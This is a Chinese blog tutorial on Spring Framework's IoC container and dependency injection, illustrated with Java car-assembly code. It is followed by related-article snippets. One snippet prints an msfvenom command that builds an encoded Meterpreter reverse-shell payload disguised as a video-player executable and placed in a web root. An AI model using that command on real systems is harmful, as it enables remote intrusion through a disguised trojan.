Spring学习(一)(IoC和DI)

news2024/11/15 18:56:22

1.Spring是什么？？？

天天都能听到Spring，Spring，Spring。这东西到底是什么东西，是一个框架。没错通常所说的 Spring 指的是 Spring Framework（Spring 框架），它是⼀个开源框架，有着活跃⽽庞⼤的社区，这就是它之所以能⻓久不衰的原因。Spring ⽀持⼴泛的应⽤场景，它可以让 Java 企业级 的应⽤程序开发起来更简单。其实很早之前就开始用它，只知道how to use感觉用起来方便，是一个框架，对于里面的含义，思想可以说是一点也不了解，我想现在很多的小伙伴也是一样的感觉，不太了解一个东西，感觉都在学习，都在用那么我也去学习，我也去使用。但是还是去花一点时间去了解了解是比较好的。

当然这样的定义在网上数不胜数，那么用一句话来概括的话：Spring 是包含了众多⼯具⽅法的 IoC 容器。

好了，这下更迷糊了。到底Spring是个什么，不说是个框架吗？那么什么是容器？什么是IoC容器？

1.1 容器是什么？？

日常生活中我们对于容器的认识：容器就是一个能够容纳盛放某种东西的一个装置。也就是这个容器能够“放”某些“物品”，用java之前的知识来说的话，能够举出一些容器的例子吗？

  • List/Map  ： 它们能够“放”数据，是一个数据存储容器；
  • Tomcat ： 能够存放web，是web容器。

通过这两个例子，大概知道了什么是容器，再计算机中什么是容器。

1.2 IoC是什么？？

上面我们给出的简单的Spring定义：Spring 是包含了众多⼯具⽅法的 IoC 容器。也就是说Spring是一个容器，什么容器？-----Spring是一个IoC容器（也就是可以放很多的IoC）。

IoC是什么捏？？？ IoC（Inversion of Control）翻译成中文是“控制反转的意思”，也就是说Spring是一个“控制反转”的容器。现在是不是仍然看不懂，别着急，我们从简单的代码示例来解决这个问题。

1.2.1 demo1（没有IoC思想的传统程序开发）

假设，以前的传统方案构建一辆“车”的程序：

传统模式

 在这样的方案下构建⼀辆⻋（Car Class），然⽽⻋需要依赖⻋身(FrameWork Class)，⽽⻋身需要依赖底盘（Bottom Class），⽽底盘需要依赖轮胎（Tire Class），最终程序的实现代码如下：

package demo;

public class CarFactory {
    public static void main(String[] args) {
        Car car = new Car();
        car.init();
    }

}
package demo;

public class Car {
    public Framework framework;

    public void init() {
        System.out.println("make a car");
        this.framework = new Framework();
        framework.init();

    }
    // 这种方式来传递变量，就会导致控制权完全在自己的手里，一旦依赖的对象
    // 发生变化，就会导致一系列的问题。因此需要IoC 控制反转。将控制权转移到第三方
    // 具体怎么来模拟实现，看IoC包下面的代码
}
package demo;

public class Bottom {
    public Tire tire;

    public void init(){
        System.out.println("make bottom");
        // 依赖轮胎
        this.tire = new Tire();
        tire.init();

    }
}
package demo;

public class Tire {
    private String color = "red";
    private double size = 17;

    public void init(){
        System.out.println("轮毂尺寸："+size+"\n"+"轮毂颜色："+color);
    }
}

上面代码的缺点很明显，轮胎的尺⼨的固定的，然⽽随着对的⻋的需求量越来越⼤，个性化需求也会越来越多，这时候我们就需要加⼯多种尺⼨的轮胎，那这个时候就要对上⾯的程序进⾏修改了，先从Tire类开始修改：

public class Tire {
    private String color ;
    private double size ;

    public Tire(String color, double size) {
        this.color = color;
        this.size = size;
    }

    public void init(){
        System.out.println("轮毂尺寸："+size+"\n"+"轮毂颜色："+color);
    }
}

修改完之后发现，当最底层代码改动之后，整个调⽤链上的所有代码都需要修改。修改完Tire需要修改Bottom，随之要修改Framework，最后修改Car......。因为我们在依赖的时候使用的对象是自己本身这个类所new出来的，一旦底层的代码发生了变化，那么实例化的代码也要发生变化。也就是说这个时候的控制权在自己的手里，并没有IoC的思想。

修改完的代码如下：

public class CarFactory {
    public static void main(String[] args) {
        Car car = new Car("red",17);
        car.init();
    }

}
public class Car {
    public Framework framework;

    public Car(String color, double size) {
        framework = new Framework(color,size);
    }

    public void init() {
        System.out.println("make a car");
        framework.init();
    }
    // 这种方式来传递变量，就会导致控制权完全在自己的手里，一旦依赖的对象
    // 发生变化，就会导致一系列的问题。因此需要IoC 控制反转。将控制权转移到第三方
    // 具体怎么来模拟实现，看IoC包下面的代码
}
public class Framework {
    public Bottom bottom;

    public Framework(String color, double size) {
        this.bottom = new Bottom(color,size);
    }

    public void init(){
        System.out.println("make framework");
        bottom.init();

    }
}
public class Bottom {
    public Tire tire;

    public Bottom(String color, double size) {
       tire = new Tire(color,size);
    }

    public void init(){
        System.out.println("make bottom");
        // 依赖轮胎
        tire.init();
    }


}
public class Tire {
    private String color ;
    private double size ;

    public Tire(String color, double size) {
        this.color = color;
        this.size = size;
    }

    public void init(){
        System.out.println("轮毂尺寸："+size+"\n"+"轮毂颜色："+color);
    }
}

那么如何来解决这种传统开发中的缺陷呢？想要解决问题必须先找出问题出现的原因，那么出现这个问题的逻辑是为什么？？因为在这个示例中，我们当产生依赖的时候是自己创建了一个下级类，也即是自己new了一个类，此时下级类的底层代码发生来改变导致了整个调用链也发生改变。

现在知道了问题所在就可以去针对这个问题来做出方案去解决问题。我们只需要将原来由⾃⼰创建的下级类，改为传递的⽅式（也就是注⼊的⽅式），因为我们不需 要在当前类中创建下级类了，所以下级类即使发⽣变化（创建或减少参数），当前类本身也⽆需修改任 何代码，这样就完成了程序的解耦。（PS：解耦指的是解决了代码的耦合性，耦合性也可以换⼀种叫法叫程序相关性。好的程序代码的耦合 性（代码之间的相关性）是很低的，也就是代码之间要实现解耦。）

这就好⽐我们打造⼀辆完整的汽⻋，如果所有的配件都是⾃⼰造，那么当客户需求发⽣改变的时候， ⽐如轮胎的尺⼨不再是原来的尺⼨了，那我们要⾃⼰动⼿来改了，但如果我们是把轮胎外包出去，那 么即使是轮胎的尺⼨发⽣变变了，我们只需要向代理⼯⼚下订单就⾏了，我们⾃身是不需要出⼒的。（所有需要的东西都在一个容器中，当我们有需要的时候直接在容器中去找我们需要的东西）

 1.2.2 demo2（具有IoC思想的开发）

基于以上思路，我们把调⽤汽⻋的程序示例改造⼀下，把创建⼦类的⽅式，改为注⼊传递的⽅式，具体 实现代码如下：

package demo.IoC;

public class IoCCarFactory {
    public static void main(String[] args) {
        Tire tire = new Tire(17, "red");
        Bottom bottom = new Bottom(tire);
        Framework framework = new Framework(bottom);
        Car car = new Car(framework);
        car.init();
    }

}
public class Car {
    private Framework framework;
    public Car(Framework framework) {
        this.framework = framework;
    }
    public void init() {
        System.out.println("make a car");
        framework.init();
    }
}
public class Framework {
    private Bottom bottom;
    public Framework(Bottom bottom) {
        this.bottom = bottom;
    }
    public void init() {
        System.out.println("make framework");
        bottom.init();
    }
}
public class Bottom {
    private Tire tire;
    public Bottom(Tire tire) {
        this.tire = tire;
    }
    public void init() {
        System.out.println("make bottom");
        tire.init();
    }

}
public class Tire {
    private int size;
    private String color;
    public Tire(int size,String color) {
        this.size = size;
        this.color = color;
    }
    public void init() {
        System.out.println("轮毂尺寸："+size+"\n"+"轮毂颜色："+color);
    }
}

经过调整后的代码无论底层对象的代码怎么变动，调用链的代码是不用变动的，这样就完成了代码见的解耦，让整个程序的设计更加合理、更加灵活。此时当底层的代码发生改变只需要在IoCCarFactory类中的代码做出对应的改变，这里的IoCCarFactory就相当于存放各种对象的“容器”，控制权就发生了反转，而不是使用者本身来控制，使用者只需要在使用的时候传入一个所i需要的对象就可以了。

1.2.3 总结规律

在传统的代码中对象创建顺序是：Car -> Framework -> Bottom -> Tire

改进之后解耦的代码的对象创建顺序是：Tire -> Bottom -> Framework -> Car

 通⽤程序的实现代码，类的创建顺序是反的，传统代码是 Car 控制并创建了 Framework，Framework 创建并创建了 Bottom，依次往下，⽽改进之后的控制权发⽣的反转，不再是 上级对象创建并控制下级对象了，⽽是将下级对象注⼊将当前对象中，下级的控制权不再由上级类控制 了，这样即使下级类发⽣任何改变，当前类都是不受影响的，这就是典型的控制反转，也就是 IoC 的实现思想。

 1.3 理解Spring IoC

回到我们的主题 Spring，本⽂刚开始咱们就讲：Spring 是包含了多个⼯具⽅法的 IoC 容器，这就是对 Spring 最核⼼的总结。“集成多个⼯具⽅法”这事咱们以后慢慢再讲，那如何理解“Spring 是⼀个 IoC 容器”这句话呢？

既然 Spring 是⼀个 IoC（控制反转）容器，重点还在“容器”⼆字上，那么它就具备两个最基础的功能：

  • 将对象存⼊到容器；
  • 从容器中取出对象。

也就是说学 Spring 最核⼼的功能，就是学如何将对象存⼊到 Spring 中，再从 Spring 中获取对象的过程。

将对象存放到容器中的好处：将对象存储在 IoC 容器相当于将以后可能⽤的所有⼯具制作好都放到仓库中，需要的时候直接取就⾏了，⽤完再把它放回到仓库。⽽ new 对象的⽅式相当于，每次需要⼯具了，才现做，⽤完就扔掉了也不会保存，下次再⽤的时候还得重新做，这就是 IoC 容器和普通程序开 发的区别。

 Spring 是⼀个 IoC 容器，说的是对象的创建和销毁的权利都交给 Spring 来管理了，它本身⼜具备了存储对象和获取对象的能⼒。

1.4 什么是DI??

说到 IoC 不得不提的⼀个词就是“DI”，DI 是 Dependency Injection 的缩写，翻译成中⽂是“依赖注 ⼊”的意思。 所谓依赖注⼊，就是由 IoC 容器在运⾏期间，动态地将某种依赖关系注⼊到对象之中。所以，依赖注⼊（DI）和控制反转（IoC）是从不同的⻆度的描述的同⼀件事情，就是指通过引⼊ IoC 容 器，利⽤依赖关系注⼊的⽅式，实现对象之间的解耦。

IoC 是“⽬标”也是⼀种思想，⽽⽬标和思想只是⼀种指导原则，最终还是要有可⾏的落地⽅案，⽽ DI 就属于具体的实现。

比如我们的目标：拥有健康的生活方式，包括均衡的饮食、适度的运动和良好的睡眠。（IoC）

落地方案：为了实现健康生活目标，具体的落地方案可能包括每天摄入五种不同颜色的水果和蔬菜，每周进行三次有氧运动和两次力量训练，每晚保持七到八小时的睡眠时间。(DI)

2. 总结

  • Spring是什么？？如何理解Spring？？
  • IoC和DI是什么？？有什么区别？？
  • Spring最核心的功能是什么？？

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/693196.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

当RPA遇到ChatGPT, 有哪些好玩的玩法

当RPA遇到ChatGPT, 有哪些好玩的玩法

实在RPA于2023年4月7日发布了 6.7.0 SP3，其中最引人注目的亮点是与ChatGPT的紧密集成 。这种集成为用户提供了全新的玩法和体验，使他们能够与智能模型进行即时对话和交互，从而提高工作效率和创造力。用户可以将ChatGPT作为虚拟助手&#xff0…
阅读更多...
opencv C++ 识别照片中的人脸

opencv C++ 识别照片中的人脸

//识别照片中的人脸 1 #include <opencv2/core/core.hpp> #include <opencv2/imgproc/imgproc.hpp> #include <opencv2/opencv.hpp> #include <vector>
阅读更多...
机试复习*

机试复习*

通过一些例子重拾一些记不清了的c、c知识。 首先是位运算&#xff1a; 然后是一些其他语法、输入输出&#xff1a; //N诺一天重拾C语言 WebSite: https://noobdream.com//Major/majorinfo/1///目录://1&#xff1a;枚举类型switch语句//2&#xff1a;枚举类型//3&#xff1a;…
阅读更多...
Unity的小工具

Unity的小工具

最近项目工期紧&#xff0c;所以更新少了&#xff0c;不过我遇到一些问题&#xff0c;当我的UI/序列帧过多的时候&#xff0c;我需要去选中UI转换成Sprite&#xff0c;而且用shift选中的时候&#xff0c;文件夹中上百个文件&#xff0c;中间混进一个其他格式的文件我还得一个一…
阅读更多...
使用msfvenom获取windows shell

使用msfvenom获取windows shell

Windows 1. kali 使用 msfvenom 生成程序文件 使用一个编码器msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.133.66 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /var/www/html/西瓜影音1.exe其中，-a 指…
阅读更多...
AI创作与游戏开发(二)工具方法概述

AI创作与游戏开发(二)工具方法概述

大家好,Generative AI Model的出现,给游戏开发带来一些新的变革.比如像stable dissfusion可以快速的生成图像,设计人物的原型,背景设定.像DreamFusion和这个Magic3D这种模型,它可以通过文本快速的建模3D对象.还有像chatgpt这种可以编写故事啊可以做模拟人物对话.AItts可以进行语…
阅读更多...
【面试题23】MyISAM和InnoDB的区别

【面试题23】MyISAM和InnoDB的区别

文章目录 一、前言二、MyISAM和InnoDB的区别2.1 存储结构和存储方式2.2 索引数据结构2.3 主键索引和非主键索引2.4 索引上存放的数据 三、MyISAM和InnoDB如何进行选择3.1 电子商务网站&#xff1a;3.2 博客类网站3.3 数据仓库 总结 一、前言 本文已收录于PHP全栈系列专栏&#…
阅读更多...
Springboot 整合Camunda7

Springboot 整合Camunda7

文章目录 前言一、原项目引入camunda二、直接搭建新demo 前言 camunda7文档 与springboot版本兼容组合 一、原项目引入camunda 导入maven依赖 <dependency><groupId>org.camunda.bpm.springboot</groupId><artifactId>camunda-bpm-spring-boot-sta…
阅读更多...
【全志v3s】LicheePi-zero BSP移植开发流程

【全志v3s】LicheePi-zero BSP移植开发流程

文章目录 基于全志v3s的Lichee-zero BSP移植开发流程ubuntu 系统安装下载镜像换源备份源列表修改 sources.list 文件更改为清华镜像源更新并升级安装依赖库 安装交叉编译工具链安装编译器新建 tool 文件夹并进入下载交叉编译链创建文件夹并解压配置环境变量安装其他库验证是否安…
阅读更多...
【C++】定制删除器和特殊类设计（饿汉和懒汉~）

【C++】定制删除器和特殊类设计（饿汉和懒汉~）

文章目录 定制删除器一、设计一个只能在堆上(或栈上)创建的类二、单例模式 1.饿汉模式2.懒汉模式总结 定制删除器 我们在上一篇文章中讲到了智能指针&#xff0c;相信大家都会有一个问题&#xff0c;智能指针该如何辨别我们的资源是用new int开辟的还是new int[]开辟的呢&…
阅读更多...
通用分页【上】

通用分页【上】

一、什么是通用分页&#xff1f; 通用分页是一种常用的分页方式&#xff0c;也被称为“前端分页”。它是指在获取数据的时候&#xff0c;将大量的数据分成若干页以便于用户查看和操作。通用分页通常是在前端完成的&#xff0c;也就是在用户界面上进行处理。通用分页的优点是可…
阅读更多...
[Flask] 初识Flask

[Flask] 初识Flask

Flask是一个使用Python编写的轻量级Web应用框架 为了更好地管理Python应用&#xff0c;通常情况下都会在虚拟环境中安装Flask框架。在虚拟环境下&#xff0c;使用如下命令安装Flask pip install flask 我们可以直接使用pycharm工具创建虚拟环境&#xff0c;只需要在创建项目的…
阅读更多...
chatGPT AI对话聊天绘画系统开发：打开人工智能AI社交聊天系统开发新时代

chatGPT AI对话聊天绘画系统开发：打开人工智能AI社交聊天系统开发新时代

人工智能技术的快速发展和普及&#xff0c;催生了众多创新应用&#xff0c;其中&#xff0c;AI社交聊天系统成为当下市场的热门话题&#xff0c;本文将详细介绍开发属于自己的ChatGPT的过程&#xff0c;并探讨当下市场因Chat AI聊天系统所带来的影响性。 AI社交聊天系统的潜力与…
阅读更多...
Springboot Mybatis 自定义顺序排序查询，指定某个字段

Springboot Mybatis 自定义顺序排序查询，指定某个字段

前言 与本文无关 "我进去了" ....... 正文 今天要讲些什么&#xff1f; 其实很简单&#xff0c;就是查询数据的时候&#xff0c;想根据自己指定的字段的自定义顺序&#xff0c;做排序查询数据。 本篇文章会讲到的几个点 &#xff1a; 1. 单纯sql 怎么实现 排序2. …
阅读更多...
miniconda 安装 windows+linux

miniconda 安装 windows+linux

虽然常用anaconda&#xff0c;但是有时候只需要管理环境的时候&#xff0c;用miniconda更方便 如果想安装anaconda&#xff0c;可以参考这篇&#xff1a;anaconda安装 一、linux下 1.下载 链接&#xff1a;miniconda文档 cd /usr/localwget https://repo.anaconda.com/mini…
阅读更多...
分布式处理框架 MapReduce

分布式处理框架 MapReduce

3.2.1 什么是MapReduce 源于Google的MapReduce论文(2004年12月)Hadoop的MapReduce是Google论文的开源实现MapReduce优点: 海量数据离线处理&易开发MapReduce缺点: 实时流式计算 3.2.2 MapReduce编程模型 MapReduce分而治之的思想 数钱实例&#xff1a;一堆钞票&#xff0…
阅读更多...
Inno Setup 安装包制作软件

Inno Setup 安装包制作软件

推荐一个开源的安装包制作软件&#xff1a;Inno Setup   Inno Setup是一个免费的安装制作软件&#xff0c;小巧、简便、精美是其最大特点&#xff0c;支持pascal脚本&#xff0c;能快速制作出标准Windows2000风格的安装界面&#xff0c;足以完成一般安装任务。 下载地址&…
阅读更多...
进阶接口自动化测试——认证/代理/超时配置/错误异常（详细）

进阶接口自动化测试——认证/代理/超时配置/错误异常（详细）

目录&#xff1a;导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09; 前言 认证 1、基本认证…
阅读更多...
【Android】Touch 事件分发逻辑梳理和避坑逻辑（上层设置了setOnTouchListener的事件监听但是没有起作用的原因）

【Android】Touch 事件分发逻辑梳理和避坑逻辑（上层设置了setOnTouchListener的事件监听但是没有起作用的原因）

背景 在项目中发现我明明在最上层的activity中的一个DrawerLayout对象设置了如下代码: /*** 超级白板的整体点击事件* 保证topBar在合适的时机出现*/binding.layoutMainDrawer.setOnTouchListener { _, event ->if (event.action MotionEvent.ACTION_DOWN) {val isVisib…
阅读更多...
【毕业设计】爱琴海——基于HTML5的婚庆用品商城网页设计

【毕业设计】爱琴海——基于HTML5的婚庆用品商城网页设计

一、内容简介 (一)背景与意义 “婚俗”是指结婚的风俗&#xff0c;各国各族人民按照自己的习俗&#xff0c;举行各具特色的婚礼&#xff0c;具有各自浓厚的民族独特风采。婚俗元素在是中国婚俗文化的媒介&#xff0c;承载了中华儿女对幸福和吉祥的追求。在中国婚俗文化的发展过…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023